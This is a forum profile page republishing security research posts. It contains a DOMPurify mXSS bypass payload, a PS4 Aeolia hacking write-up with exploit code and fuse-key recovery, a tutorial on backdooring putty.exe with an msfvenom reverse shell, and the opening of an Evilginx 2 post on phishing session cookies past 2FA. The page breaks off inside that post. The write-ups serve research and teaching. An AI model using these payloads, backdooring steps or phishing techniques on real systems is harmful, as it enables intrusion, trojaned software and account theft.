-
Posts
18725 -
Joined
-
Last visited
-
Days Won
707
Everything posted by Nytro
-
In our presentation, we explain in detail how ME 11.x stores its state on the flash and the other types of file systems that are supported by ME 11.x. By Dmitry Sklyarov Full Abstract & Presentation Materials: https://www.blackhat.com/eu-17/briefi... How to Hack a Turned-Off Computer or Running Unsigned Code in Intel Management Engine: https://youtu.be/9fhNokIgBMU
-
Bypassing DOMPurify with mXSS Sunday, 29 July 2018 I noticed DOMPurify would let you use the title tag when injecting a self closing SVG. Normally it blocks title outside of SVG however using the self closing trick you could bypass that restriction. <svg/><title> Injecting the title tag is important because it mutates, as I’ve tweeted about in the past. In order for the mXSS to be effective I needed to inject the title tag outside of SVG as DOMPurify/Edge would correctly encode the HTML. I found you could use “x” as a self closing tag in DOMPurify and this would enable me to use the title tag outside of SVG. For example: IN: <x/><title>test OUT: <title>test</title> Great so I could get mXSS right? Well almost. I injected a mXSS vector with my “x” trick. IN: <x/><title></title><img src=1 onerror=alert(1)> OUT: <title></title><img src="1"> Damn, so DOMPurify was detecting the malicious HTML and removing the onerror attribute. But then I thought what if this attribute is being read multiple times, maybe I could inject a mXSS vector that mutates more than once. Here is the final vector that is encoding multiple times so it bypasses DOMPurify attribute checks. IN: <x/><title>&lt;/title&gt;&lt;img src=1 onerror=alert(1)&gt; OUT: <title></title><img src=1 onerror=alert(1)></title> The vector has been fixed in the latest version of Edge and also has been patched in DOMPurify version 1.0.7. If you want to experiment with the bypass then use DOMPurify 1.0.6 and Microsoft Edge 41.16299.547.0. Sursa: http://www.thespanner.co.uk/2018/07/29/bypassing-dompurify-with-mxss/
-
2018-07-30 PS4 Aux Hax 1: Intro & Aeolia By ps4_enthusiast Filed under ps4 vulnerability exploit In the PS4 Aux Hax series of posts, we’ll talk about hacking parts of the PS4 besides the main x86 cores of the APU. In this first entry, we’ll give some background for context and describe how we managed to run arbitrary code persistently on Aeolia, the PS4 southbridge. Not shown in this post are the many iterations of failure which lead to success. The blog would be much too long The subtitle should be “power analysis for noobs”. Intro (Overview of SAA-001) Most of our experimentation is conducted against the SAA-001 version of the PS4 motherboard. This is the initial hardware revision which was released around the end of 2013. There are a few obvious reasons for this: Older hardware revisions are more likely to be populated with older components, resulting in e.g. chips with legs instead of BGA, slower clocks, functionality in discrete parts, etc. Early designs likely have more signals brought out for debugging Used/defective boards can be acquired cheaply Readily available media from initial teardowns/depopulation by third parties (ifixit, siliconpr0n, etc.) Using the resources from siliconpr0n and simple tools, as many wires as possible were mapped on the board. The final pin mapping which I’ve used throughout the work for this blog series can be found here. Interesting components outside the APU The areas of interest for this post are shown here: External to the APU, the main attractions are the “southbridge” (generally known as Aeolia) and syscon chips. Each is involved in talking to various peripherals on the board as well as controlling power sequencing for other components. Taking control of Aeolia is useful as it allows getting a foothold on the board in order to easily access busses shared with other chips. For example, control of Aeolia should allow performing attacks similar to our previous PCIe man-in-the-middle DMA attack against the APU - using only devices already present on the board. It also would allow easy access to the icc (aka ChipComm) interfaces of FreeBSD running on x86 (via PCIe), as well as the icc interface implemented on syscon (over SPI). As Aeolia is kind of the southbridge for the APU, it naturally would allow intercepting any storage (sflash, ddr3, hdd, …) or networking accesses as well. Finally, Aeolia is a self-contained SoC with multiple ARM cores which provides a decently beefy environment for experimenting with. Syscon is also interesting for other reasons, which will be elaborated upon in a future post. Aeolia Sizing up the target Early on, it was easy to discover the following about Aeolia: The cores which are active during “rest mode” (APU S3 state) are called “EAP” EAP runs FreeBSD and some usermode processes which can be dumped from DDR3 for reversing Some other component inside Aeolia is likely named “EMC” A shared-memory based protocol named “icc” can be used to communicate with EMC EMC can proxy icc traffic with syscon to/from APU Firmware updates (encrypted and signed) are available for Aeolia At first, we just wanted to be able to decrypt firmware updates in order to inspect what Aeolia really does and how it works with the rest of the system. The components in the firmware were relatively easy to identify, because the naming scheme of files stored in the filesystem (2BLS: BootLoaderStorage) is a 32bit number which identifies the processor it’s for as well as a number which more or less relates to the order it’s used in the boot process. Firmware update packages for Aeolia are essentially just raw filesystem blobs which will be written to sflash, so it’s easy to extract individual firmware components from a given firmware update package. The files in sflash for Aeolia consist of: File Name Name Dst CPU Notes C0000001 ipl SRAM EMC first stage fetched from sflash C0010001 eap_kbl DDR3 EAP EMC loads to boot EAP; contains FreeBSD So, we want to find a way to decrypt the ipl, preferably “offline” i.e. such that we can just directly decrypt the firmware images from update files. Considering that the ipl must be read and decrypted from sflash each time Aeolia powers up, this sounds like a perfect candidate for key recovery via power analysis! Setting up shop Recovering the decryption key via well-known attacks such as Correlation Power Analysis should be possible as long as the input data (ciphertext) is controllable to some extent. Initially, everything about the cryptographic schemes for encryption and validation were unknown. This results in a bit of a chicken/egg problem: determining if it’s worthwhile to take power traces for an eventual CPA attack requires doing mostly the same work as the CPA attack itself. As there’s no way around setting up a PS4 for trace acquisition, I just got on with it. Above, a murderedmodified PS4 for EMC power analysis. From bottom left: sflash replaced with flash simulator on FPGA main Aeolia clock (100MHz spread-spectrum) replaced with slowed down clock (~8MHz, non-SSC) from FPGA. Clockgen is disabled to minimize noise. aux. crystal replaced with wire Just a floating wire, used to manually input a “clock cycle”, which seems needed to unblock power-on-reset sequence (not needed for resets which keep power on) (near top right of Aeolia) power trace, extends to back of board and connects to EMC core power plane. Decoupling caps have been removed. (blue wire) replaced, “clean” power supply for EMC (white wire, top right) FPGA GPIO hooked to SC-RESET (not shown) FPGA exports a copy of base clock for oscilloscope refclk The setup settled on was based around simulating sflash on an FPGA in order to get as fast iteration times as possible. This choice also allowed easily exploring the bootrom’s parsing of sflash and ipl (explained in the next section). The SC-RESET test point was used as a hammer to cause a full-board reset, implicitly causing EMC to be rebooted by syscon. As for analysis/software tooling, the advanced numpy and baudline tools were used to analyze traces and eventually run the CPA attack. Power analysis as debugger Because the ipl was initially an opaque blob, we first needed to discover how the bootrom would parse sflash to arrive at the ipl, and then how the ipl itself would be parsed before the decryption of the ipl body. Investigating this parsing allowed discovering which parts of the filesystem and ipl blob were used, at which time they were used, and the bounds of any fields involved in the parsing. Simply viewing and diffing power traces proved to be a very effective tool for this. It was possible to check for possible memory corruption/logic bugs in the bootrom by simply modifing filesystem structures or ipl header fields and checking the power trace for irregularities. For example, once we had a good guess which field of the ipl header was the load address, we could try changing it in the hopes of hitting e.g. stack region in SRAM, and then check the trace to see if execution appeared to continue past the normal failure point. Unfortunately a bug was not found in this parsing, but this step helped a lot in understanding the layout of the ipl header and which fields we could change to attempt key recovery. By using power analysis, we determined the header of the ipl blob looked like: struct aeolia_ipl_hdr { u32 magic; // 0xd48ff9aa u8 field_4; u8 field_5; u8 field_6; u8 proc_type; // 0x48: EMC, 0x68: EAP u32 hdr_len; u32 body_len; u32 load_addr_0; u32 load_addr_1; // one is probably entrypoint.. u8 fill_pattern[0x10]; // DE AD BE EF CA FE BE BE DE AF BE EF CA FE BE BE u8 key_seed[0x8]; // F1 F2 F3 F4 F5 F6 F7 F8 // key_seed is used as input to 4 aes operations (2 blocks each) // some output of those operations is used as the key to decrypt the // following 5 blocks u8 wrapped_thing[0x20]; u8 signature[0x30]; // offset 0x80 u8 body[body_len]; }; See the full notes, including discovered bounds and parsing rules here. This was my first experience with power analysis, and I was quite encouraged by the capabilities so far To show how this was done (well, at least the parts relating to fields used in crypto operations), observe the following spectrograms from baudline. Note: the time units are meaningless. Above is the trace of the bootrom beginning to process the ipl. If you squint a bit, you can tell there are 4 nearly identical sections, then a long section which seems to be an extended version of one of the first four. Afterwards, longer, more stable periods are visible. Above is the result of comparing 5 traces to a single “base” trace. The method of comparison was to modify the contents of each 0x10 byte block in the header in the range of wrapped_thing and signature in turn, then mux the resulting trace with the base trace. This allows easy experimentation with baudline. As shown, baudline is actually performing subtraction between “channels” to produce the useful output. This immediately gives good information about what a block looks like in the spectrogram, the time taken to process it, the fact that modifications to a single block don’t have much influence on successive blocks, and most importantly, that we can feed arbitrary input into some decryption step. This implies the signature check of the header is done after decryption of wrapped_thing. Digging into the crypto While the above seems to bode well, there’s actually a snag. It appears the bootrom uses wrapped_thing as input to a block cipher and then signature checks the header. So it seems possible to recover the key used with wrapped_thing, however it’s not clear if this will give us all information needed to decrypt the ipl body. Additionally, the header is signature checked, so we can’t use an improper key to decrypt an otherwise valid body, then have EMC jump into garbage and hope for the best. In any case, I decided to try for recovery of the key used with wrapped_thing and hope I’d be able to figure out how to turn that into decryption of the body. Baby’s first DPA Before attempting key recovery, one must first locate the exact locations in power traces which can be used to identify the cipher and extract information about the key. Starting from not much info (just know it’s a 0x10 byte block cipher), we can guess it’s probably AES and try to see if it makes sense. The method to do this is essentially the same as Differential Power Analysis: identify the probable location of the first sbox lookup, take a bunch of traces with varying input, then apply sum of absolute differences to determine if the acquired traces “look like” AES. Fortunately, this process yielded very straightforward results: (Sorry, you’ll probably need to open the images at full resolution to inspect them) ^ High level view of a complete block being passed through the cipher. If you squint you may be able to discern 10 rounds. The top is a singular raw trace, while the bottom group plots the sum of differences between all traces. ^ Closer view of the sum of differences. The above already makes it very likely to be AES. However, there is an additional check which may be done, which allows determining if the operation is encryption or decryption: ^ The same sum of differences, but making it obvious when, exactly, each bit position (of the input data) is used by the cipher. This can be easily correlated to most AES software implementations. For example, mbedtls: #define AES_RROUND(X0,X1,X2,X3,Y0,Y1,Y2,Y3) \ { \ X0 = *RK++ ^ AES_RT0( ( Y0 ) & 0xFF ) ^ \ AES_RT1( ( Y3 >> 8 ) & 0xFF ) ^ \ AES_RT2( ( Y2 >> 16 ) & 0xFF ) ^ \ AES_RT3( ( Y1 >> 24 ) & 0xFF ); \ // ... // in mbedtls_internal_aes_decrypt(...) GET_UINT32_LE( X0, input, 0 ); X0 ^= *RK++; GET_UINT32_LE( X1, input, 4 ); X1 ^= *RK++; GET_UINT32_LE( X2, input, 8 ); X2 ^= *RK++; GET_UINT32_LE( X3, input, 12 ); X3 ^= *RK++; for (i = (ctx->nr >> 1) - 1; i > 0; i--) { AES_RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); ///... With some squinting, it can be seen that the byte accesses generated by this first sbox lookup for decryption (and not encryption) matches the above plot. Recovering the key encryption key With the cipher used to process wrapped_thing more or less determined, we can switch to Correlation Power Analysis and attempt key recovery using only the section of traces which concern the first sbox lookup. Much time passes. Much confusion about how to filter traces ensues. Eventually, after tweaking the CPA method a bit and applying some filtering to ignore noise, the key recovery was successful! The correlation needed to be changed to use AES T-tables (the logic for which is actually described in the original AES proposal) instead of the standard inverted sbox approach. The hypothesized key was determined to be correct by running it though possible key derivation schemes which the bootrom would use, and then attempting to decrypt the first few blocks of the ipl body with the result. The winning combination was: # process blocks previously named wrapped_thing and signature # emc_header_key is the value recovered with CPA def emc_decrypt_header(hdr): return hdr[:0x30] + aes128_cbc_iv_zero_decrypt(emc_header_key, hdr[0x30:0x80]) hdr = emc_decrypt_header(f.read(0x80)) body_aes_key = hdr[0x30:0x40] body_len = struct.unpack('<L', hdr[0xc:0x10])[0] body = aes128_cbc_iv_zero_decrypt(body_aes_key, f.read(body_len)) Again, quite luckily the scheme is simple. Well, now what? Having originally only set out to decrypt ipl, we were, in some sense, done already. However, the exploratory power analysis revealed that the aeolia_ipl_hdr.key_seed could be used to cause the derived key to change. As such, any future firmware update which didn’t use the hardcoded key_seed of [F1 F2 F3 F4 F5 F6 F7 F8] would require redoing the key recovery. Quite unsavory! The determination of header field usages as well as reversing the (now decrypted) ipl also revealed that the “signatures” used to verify the ipl were likely just HMAC-SHA1 digests. In other words, the entire chain of trust on Aeolia is done with symmetric keys present inside every Aeolia chip. With the likely location of this HMAC key being the bootrom, we set out to dump the bootrom. Bootrom dumpin’ The chosen method of dumping EMC bootrom was by exploiting some software bug in ipl code. The first part of the ipl code to catch my eye while reversing was the UART protocol (called ucmd), which allows a small set of commands to be used to interact with EMC. The list of commands, along with privileges required to use the commands, is: Command Name Auth Level _hdmi INT boot A_AUTH bootadr A_AUTH bootenable A_AUTH bootmode A_AUTH buzzer A_AUTH cb A_AUTH cclog A_AUTH ccom INT ccul INT cec A_AUTH cktemprid A_AUTH csarea A_AUTH ddr A_AUTH ddrr A_AUTH ddrw A_AUTH devpm A_AUTH dled A_AUTH dsarea A_AUTH ejectsw A_AUTH errlog ANY etempr A_AUTH fdownmode A_AUTH fduty A_AUTH flimit A_AUTH fmode A_AUTH fservo A_AUTH fsstate A_AUTH fstartup A_AUTH ftable A_AUTH halt A_AUTH haltmode A_AUTH hdmir A_AUTH hdmis A_AUTH hdmistate A_AUTH hdmiw A_AUTH help INT mbu A_AUTH mduty A_AUTH nvscsum A_AUTH nvsinit A_AUTH osarea A_AUTH osstate A_AUTH pcie A_AUTH pdarea A_AUTH powersw A_AUTH powupcause A_AUTH r16 A_AUTH R16 A_AUTH R32 A_AUTH r32 A_AUTH R8 A_AUTH r8 A_AUTH resetsw A_AUTH rtc A_AUTH sb A_AUTH sbnvs A_AUTH scfupdbegin A_AUTH scfupddl A_AUTH scfupdend A_AUTH scnvsinit A_AUTH scpdis A_AUTH screset A_AUTH scversion ANY sdnvs A_AUTH smlog A_AUTH socdmode A_AUTH socuid A_AUTH ssbdis A_AUTH startwd A_AUTH state A_AUTH stinfo INT stopwd A_AUTH stwb A_AUTH syspowdown A_AUTH task INT tempr A_AUTH testpcie A_AUTH thrm A_AUTH uareq1 ANY uareq2 ANY version ANY W16 A_AUTH w16 A_AUTH W32 A_AUTH w32 A_AUTH w8 A_AUTH W8 A_AUTH wsc INT where ANY indicates the command is always available, A_AUTH means you must use the uareq commands to authenticate successfully, and INT most likely means “internal only”. A quick review of the ANY command set didn’t reveal exploitable vulnerabilities. However, it should be noted that the uareq commands are designed such that uareq1 allows you to request a challenge buffer, and uareq2 allows you to send a response. However, since the total challenge/response buffer size is larger than can fit in a single ucmd packet, the transfer is split into 5 chunks. Naturally the response cannot be verified until the complete response is received by EMC, so never sending the last chunk results in being able to place arbitrary data at a known static address in EMC SRAM. This will be useful later The next places to look were: Places data is read from sflash by EMC icc command handlers exposed to the APU No luck with bugs in sflash parsing paths :‘( Quite sad now, I focused on the APU-accessible icc interface. It turns out icc (at least as implemented on EMC) is quite complex. Handling a single message can cause many buffers to be allocated, queued, copied, and free’d multiple times. The system also supports acting as a proxy for other icc endpoints (syscon and emc uart). In any case, a usable bug was found relatively quickly in some hdmi-related icc command handler: /* Call stack: HdmiSeqTable_setReg HdmiSeqTable_execSubCmd sub_1170BA hcmd_srv_10_deliver */ int HdmiSeqTable_setReg(HdmiSubCmdHdr *cmd, int a2, int a3, void *a4, int first_exec, void *a6) { int item_type; // r0 int num_items; // r5 u8 *buf; // r4 int i; // r0 HdmiEdidRegInfo *v12; // r1 item_type = cmd->abstract; num_items = cmd->num; if (first_exec) return; buf = (u8 *)&cmd[1]; switch (item_type) { case 1: { HdmiEdidRegInfo *src = (HdmiEdidRegInfo *)buf; for (i = 0; i < num_items; ++i) { // edid_regs_info is HdmiEdidRegInfo[4] in .data // addr is 0x152E3B in this case v12 = &edid_regs_info[i]; v12->field_0 = src->field_0; v12->field_1 = src->field_1; v12->field_2 = src->field_2; src++; } } break; //... } //... } This is an amusingly annoying primitive: starting from a static address, we can continously write 3 of every 4 bytes (see below for struct definitions). Since the base address (0x152E3B) is not naturally aligned, and all pointers stored in memory will be aligned, this becomes somewhat annoying. Also, the overwrite will trample over everything within range, so the closest corruption target as possible is needed. Luckily, there is a good target: The OS’s task objects are stored nearby. The OS appears to be some version of ThreadX with a uITRON wrapper. In any case, the struct being overwritten looks like: 00000000 ui_tsk struc ; (sizeof=0x130, mappedto_101) 00000000 00000000 tsk_obj TX_THREAD ? ... 00000000 TX_THREAD struc ; (sizeof=0xAC, align=0x4, mappedto_102) 00000000 00000000 tx_thread_id DCD ? 00000004 tx_thread_run_count DCD ? 00000008 tx_thread_stack_ptr DCD ? ... Considering aligment, low 2 bytes of the tx_thread_stack_ptr can be controlled by the overwrite, and the rest of the structure need not be corrupted. This is perfect, as ThreadX uses the field like so: ROM:00111E60 LDR.W R12, [R3,#TX_THREAD.tx_thread_stack_ptr] ROM:00111E64 LDMIA.W R12!, {R4-R11} ROM:00111E68 MSR.W PSP, R12 ROM:00111E6C MOV LR, #0xFFFFFFFD ROM:00111E70 BX LR In other words, if we can point tx_thread_stack_ptr at some controlled memory, we get control of all GPRs, including SP. And since it’s returning from interrupt, PC and PSR as well. With great luck, the buffer used by uareq2 is able to be reached just by changing the low 2 bytes (well, mainly because SRAM is so small, and the stacks are statically allocated in a convenient position). The exploit method is: Place a fake exception frame at a known address with ucmd uareq2. Use the bug to overwrite the tx_thread_stack_ptr of a task. Wait for the runtime to switch tasks and resume the thread via the modified tx_thread_stack_ptr. Sending UART traffic forces task switching, so we can get control instantly. Exception frame placing (via UART): ucmd_ua_buf = 0x15AD90 r0 = r1 = r2 = r3 = r4 = r5 = r6 = r7 = r8 = r9 = r10 = r11 = r12 = 0 lr = pc = psr = 0 r6 = 0 # src r7 = 0xffff # len pc = 0x135B94 | 1 # print loop lr = pc psr = 1 << 24 fake_frame = struct.pack('<%dL' % (8 + 5 + 3), r4, r5, r6, r7, r8, r9, r10, r11, r0, r1, r2, r3, r12, lr, pc, psr) uc.uareq2(fake_frame) 0x135B94 is part of the inner loop of a hexdump-like function. This will result in spewing the bootrom (located @ addr 0 in EMC address space) out of UART. Perfect! Trigger code (via icc from APU): struct PACKED HdmiSubCmdTopHdr { u8 abstract; u16 size; u8 num_subcmd; }; struct PACKED HdmiSubCmdHdr { u8 ident; u8 size; u8 abstract; u8 num; }; struct PACKED HdmiEdidRegInfo { u8 field_0; u8 field_1; u8 field_2; u8 _unused; }; struct PACKED ArmExceptFrame { // r4-r11 saved/restored by threadx u32 tx_regs[8]; u32 r0; u32 r1; u32 r2; u32 r3; u32 r12; u32 lr; u32 pc; u32 xpsr; }; void Icc::Pwn() { // the last HdmiEdidRegInfo will overlap // &ui_tsk_objs[1].tsk_obj.tx_thread_stack_ptr size_t num_infos = 232; size_t hdrs_len = sizeof(HdmiSubCmdTopHdr) + sizeof(HdmiSubCmdHdr); size_t infos_len = num_infos * sizeof(HdmiEdidRegInfo); size_t buf_len = hdrs_len; buf_len += infos_len; buf_len += sizeof(ArmExceptFrame); buf_len += 0x20; auto buf = std::make_unique<u8[]>(buf_len); memset(buf.get(), 0, buf_len); auto hdr_top = (HdmiSubCmdTopHdr *)buf.get(); auto hdr = (HdmiSubCmdHdr *)(hdr_top + 1); auto infos = (HdmiEdidRegInfo *)(hdr + 1); auto stack_ptr_overlap = &infos[num_infos - 1]; //auto fake_frame = (ArmExceptFrame *)(infos + num_infos); hdr_top->abstract = 0; hdr_top->size = buf_len; hdr_top->num_subcmd = 1; hdr->ident = 4; // not checked hdr->size = infos_len; hdr->abstract = 1; hdr->num = num_infos; // control lower 2bytes of tx_thread_stack_ptr // needs to point to fake_frame u32 ucmd_ua_buf = 0x15AD90; u32 fake_frame_addr = ucmd_ua_buf; printf("fake frame %8x %8x\n", fake_frame_addr, fake_frame_addr + 8 * 4); stack_ptr_overlap->field_1 = fake_frame_addr & 0xff; stack_ptr_overlap->field_2 = (fake_frame_addr >> 8) & 0xff; uintptr_t x = (uintptr_t)&stack_ptr_overlap->field_1; uintptr_t y = (uintptr_t)infos; printf("%8lx %8lx %8lx %8lx\n", x, y, x - y, 0x152E3B + x - y); HdmiSubCmd(buf.get(), buf_len); } …and yes, it worked Ok, NOW what? With the bootrom in hand, it was now possible to see the actual key derivation in friendly ARM code form. The bootrom does contain a lot of key material, however it mixes the values stored in ROM with a value read from fuses in addition to the key_seed from ipl header. Unfortunately, even with arbitrary code exec on EMC, the fused secret cannot be dumped - it just reads as all-0xff. Inspecting the bootrom code shows that it appears to set a mmio register bit to lock-out the fuse key until the next power cycle. At first it looks as if we’re stuck again. But, let’s take a closer look at how bootrom uses the fuse key: int decrypt_with_seed(_DWORD *data_out, emc_hdr *hdr, int *data_in, _DWORD *key) { u8 v6[32]; // [sp+8h] [bp-108h] u8 rk[0xc0]; // [sp+28h] [bp-E8h] u8 iv[16]; // [sp+E8h] [bp-28h] *(_QWORD *)v6 = hdr->key_seed; *(_QWORD *)&v6[8] = hdr->key_seed; *(_DWORD *)&v6[16] = *data_in; *(_DWORD *)&v6[20] = data_in[1]; *(_DWORD *)&v6[24] = data_in[2]; *(_DWORD *)&v6[28] = data_in[3]; *(_DWORD *)iv = 0; *(_DWORD *)&iv[4] = 0; *(_DWORD *)&iv[8] = 0; *(_DWORD *)&iv[12] = 0; if (aes_key_expand_decrypt(key, rk) < 0 || aes_cbc_decrypt(v6, v6, 0x20u, rk, iv) < 0) { return -1; } *data_out = *(_DWORD *)&v6[16]; data_out[1] = *(_DWORD *)&v6[20]; data_out[2] = *(_DWORD *)&v6[24]; data_out[3] = *(_DWORD *)&v6[28]; return 0; } // in main(): //... // read fuse key to stack *(_DWORD *)v98 = unk_5F2C5050; *(_DWORD *)&v98[4] = unk_5F2C5054; *(_DWORD *)&v98[8] = unk_5F2C5058; *(_DWORD *)&v98[12] = unk_5F2C505C; if (dword_5F2C504C == 1) { // re-executing rom code (fuse already locked)? then bail *(_DWORD *)v98 = 0; *(_DWORD *)&v98[4] = 0; *(_DWORD *)&v98[8] = 0; *(_DWORD *)&v98[12] = 0; return 0x86000005; } // lock fuse interface dword_5F2C504C = 1; // derive the keys using rom values, header seed, with fuse value as key // rom_constant_x are values stored in bootrom if ( decrypt_with_seed(emc_header_aes_key, &hdr, rom_constant_0, v98) < 0 || decrypt_with_seed(emc_header_hmac_key, &hdr, rom_constant_1, v98) < 0) { return 0x86000005; } //... (also yes, I did check if the fuse key remains on the stack. It doesn’t.) Hm…so we can easily feed arbitrary data into the key derivation by modifying the key_seed, and we know the first 16 byte block is just the 8 byte key_seed repeated twice. Smells like a job for CPA again! Recovering the fuse key Adjusting the power tracing setup slightly to collect data from a different time offset and modifying the header generation code to target the key_seed instead of wrapped_thing were the only changes needed to acquire suitable traces. In the analysis phase, the only change needed was to account for the data always consisting of a duplicated 8bytes. My workaround for this was to rely on the fact that the temporal location where each byte should be processed is well known (recall the mbedtls code from a previous section). Instead of taking just the top match per byte position from CPA results, I took the top two matches and placed them into the recovered key based on the temporal position of the match. This finally resulted in acquiring all keys stored inside Aeolia (at least, the revision on SAA-001, it seems other revisions used different keysets). Thus, we can freely encrypt and sign our own ipl, and therefor control all code being executed on Aeolia, forever Recommended reading Introduction to differential power analysis - IMO the most clear rationale of DPA Side-Channel Power Analysis of a GPU AES Implementation - Touches on T-table usage Greetz Thanks to Volodymyr Pikhur for the previous work done on EAP and EMC (some can be seen here) and flatz, who has helped with reversing and bug hunting. Sursa: https://fail0verflow.com/blog/2018/ps4-aeolia/
-
Backdoring PE files using code caves : OSCE/CTP Module 0x03 July 24, 2018 Hello Readers, This post will cover Backdooring of P.E file by using code caves . There are already good tools to do this for you eg. Backdoor Factory and Shelter which will do the same job and even bypass some static analysis of few antiviruses . I will be covering the manual approach of backdooring a PE file . Let's understand some terms : [x] PE file : The Portable Executable (PE) format is a file format for executables, object code, and DLLs, used in 32-bit and 64-bit versions of Windows operating systems. [x] Code Cave : Wikipedia says - "A code cave is a series of null bytes in a process's memory. The code cave inside a process's memory is often a reference to a section of the code’s script functions that have capacity for the injection of custom instructions. For example, if a script’s memory allows for 5 bytes and only 3 bytes are used, then the remaining 2 bytes can be used to add external code to the script." [x] Shellcode : Wikipedia - "A shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode." Let's get started .... You can download the Putty version which I have used from here . I will be using Immunity Debugger for debugging purposes.You can use any other debugger like Ollydbg. First we need to find the available code cave spaces where we can insert our malicious code.You can either add a section or modify an existing section and use the available code cave spaces. I have used cave-miner script to locate available unused bytes. Okey, so cave begins from 00445CD5. I will inject my shellcode from 00445CD6. I will be hijacking the entry point of the program and redirect the execution flow to our shellcode. First of all , we have to make .data section executable using Lord P.E or any P.E header editor tool. Once it is done , we need to copy the first few instructions of the entry point and save it somewhere in notepad. Insert the first instruction as JMP 00445CD6 which will help in redirection of the execution flow to our newly discovered code cave space. Once the entry point instructions are replcaed by JMP instruction then we need to note down what instructions are overwritten and those need to be restore later. Now , let's understand the backdoor part - 1. PUSHAD 2. PUSHFD 3. Shellcode 4. Stack Allignment 5. POPFD 6. POPAD 7. RETORE instructions 8. JMP to next instruction PUSHAD instruction is equivilent to writing: Push EAX Push ECX Push EDX Push EBX Push ESP Push EBP Push ESI Push EDI POPAD pops the values back off the stack in reverse order, thus restoring all the register values. PUSHAD and POPAD are useful for performing a easy save and restore of the general purpose registers without having to PUSH and POP every individual register in turn. Similarly, PUSHFD and POPFD are used to save and restore the EFLAGS register. Generate a reverse tcp shellcode from msvenom in hex format and Binary paste in code cave space after PUSHFD instruction. Note down ESP value before shellcode execution and after shellcode execution for finding the difference and aligning the stack. Before shellcode - After shellcode - Difference = 0018FF68 - 0018FD6C Now allign stack by adding this value to esp . After restoring save the newly modified executable and listen on netcat for reverse connection. As soon as I started putty,it got stuck and didn't open until I closed the reverse connection . This is due to a function called WaitforSingleObject used in msfvenom shellcodes. Here is a nice article on the same and how to fix this - https://simonuvarov.com/msfvenom-reverse-tcp-waitforsingleobject/ Msfvenom shellcode uses INFINITE as a value for the dwMilliseconds parameter. Fixing the waitforsingleobject problem by making dwMilliseconds parameter value to 0 from -1(due to dec esi instruction which I replaced using NOP) - Once It is fixed save the executable and you are good to Go .. !!!!!!!!!!!!!!!! POC- As soon as I open putty.exe it gave a reverse shell and at the same time working perfectly like a charm. Thanks for reading ..Happy Hacking .. Sursa: http://www.theanuragsrivastava.in/2018/07/backdoring-pe-files-using-code-caves.html?m=1
-
Evilginx 2 - Next Generation of Phishing 2FA Tokens 26 July 2018 on evilginx, mitm, security, phishing, research, golang, 2fa, tool It's been over a year since the first release of Evilginx and looking back, it has been an amazing year. I've received tons of feedback, got invited to WarCon by @antisnatchor (thanks man!) and met amazing people from the industry. A year ago, I wouldn't have even expected that one day Kevin Mitnick would showcase Evilginx in his live demos around the world and Techcrunch would write about it! At WarCon I met the legendary @evilsocket (he is a really nice guy), who inspired me with his ideas to learn GO and rewrite Evilginx as a standalone application. It is amazing how GO seems to be ideal for offensive tools development and bettercap is its best proof! This is where Evilginx is now. No more nginx, just pure evil. My main goal with this tool's release was to focus on minimizing the installation difficulty and maximizing the ease of use. Usability was not necessarily the strongest point of the initial release. Updated instructions on usage and installation can always be found up-to-date on the tool's official GitHub project page. In this blog post I only want to explain some general concepts of how it works and its major features. TL;DR What am I looking at? Evilginx is an attack framework for setting up phishing pages. Instead of serving templates of sign-in pages lookalikes, Evilginx becomes a relay between the real website and the phished user. Phished user interacts with the real website, while Evilginx captures all the data being transmitted between the two parties. Evilginx, being the man-in-the-middle, captures not only usernames and passwords, but also captures authentication tokens sent as cookies. Captured authentication tokens allow the attacker to bypass any form of 2FA enabled on user's account (except for U2F - more about it further below). Even if phished user has 2FA enabled, the attacker, outfitted with just a domain and a VPS server, is able to remotely take over his/her account. It doesn't matter if 2FA is using SMS codes, mobile authenticator app or recovery keys. Take a look at the video demonstration, showing how attacker's can remotely hack an Outlook account with enabled 2FA. Disclaimer: Evilginx project is released for educational purposes and should be used only in demonstrations or legitimate penetration testing assignments with written permission from to-be-phished parties. Goal is to show that 2FA is not a silver bullet against phishing attempts and people should be aware that their accounts can be compromised, nonetheless, if they are not careful. >> Download Evilginx 2 from GitHub << Remember - 2FA is not a silver bullet against phishing! 2FA is very important, though. This is what head of Google Threat Intelligence had to say on the subject: Old phishing tactics Common phishing attacks, we see every day, are HTML templates, prepared as lookalikes of popular websites' sign-in pages, luring victims into disclosing their usernames and passwords. When the victim enters his/her username and password, the credentials are logged and attack is considered a success. This is where 2FA steps in. If phished user has 2FA enabled on their account, the attacker would require an additional form of authentication, to supplement the username and password they intercepted through phishing. That additional form of authentication may be SMS code coming to your mobile device, TOTP token, PIN number or answer to a question that only the account owner would know. Attacker not having access to any of these will never be able to successfully authenticate and login into victim's account. Old phishing methods which focus solely on capturing usernames and passwords are completely defeated by 2FA. Phishing 2.0 What if it was possible to lure the victim not only to disclose his/her username and password, but also to provide the answer to any 2FA challenge that may come after the credentials are verified? Intercepting a single 2FA answer would not do the attacker any good. Challenge will change with every login attempt, making this approach useless. After each successful login, website generates an authentication token for the user's session. This token (or multiple tokens) is sent to the web browser as a cookie and is saved for future use. From that point, every request sent from the browser to the website will contain that session token, sent as a cookie. This is how websites recognize authenticated users after successful authentication. They do not ask users to log in, every time when page is reloaded. This session token cookie is pure gold for the attacker. If you export cookies from your browser and import them into a different browser, on a different computer, in a different country, you will be authorized and get full access to the account, without being asked for usernames, passwords or 2FA tokens. This is what it looks like, in Evilginx 2, when session token cookie is successfully captured: Now that we know how valuable the session cookie is, how can the attacker intercept it remotely, without having physical access to the victim's computer? Common phishing attacks rely on creating HTML templates which take time to make. Most work is spent on making them look good, being responsive on mobile devices or properly obfuscated to evade phishing detection scanners. Evilginx takes the attack one step further and instead of serving its own HTML lookalike pages, it becomes a web proxy. Every packet, coming from victim's browser, is intercepted, modified and forwarded to the real website. The same happens with response packets, coming from the website; they are intercepted, modified and sent back to the victim. With Evilginx there is no need to create your own HTML templates. On the victim side everything looks as if he/she was communicating with the legitimate website. User has no idea idea that Evilginx sits as a man-in-the-middle, analyzing every packet and logging usernames, passwords and, of course, session cookies. You may ask now, what about encrypted HTTPS connection using SSL/TLS that prevents eavesdropping on the communication data? Good question. Problem is that the victim is only talking, over HTTPS, to Evilginx server and not the true website itself. Evilginx initiates its own HTTPS connection with the victim (using its own SSL/TLS certificates), receives and decrypts the packets, only to act as a client itself and establish its own HTTPS connection with the destination website, where it sends the re-encrypted packets, as if 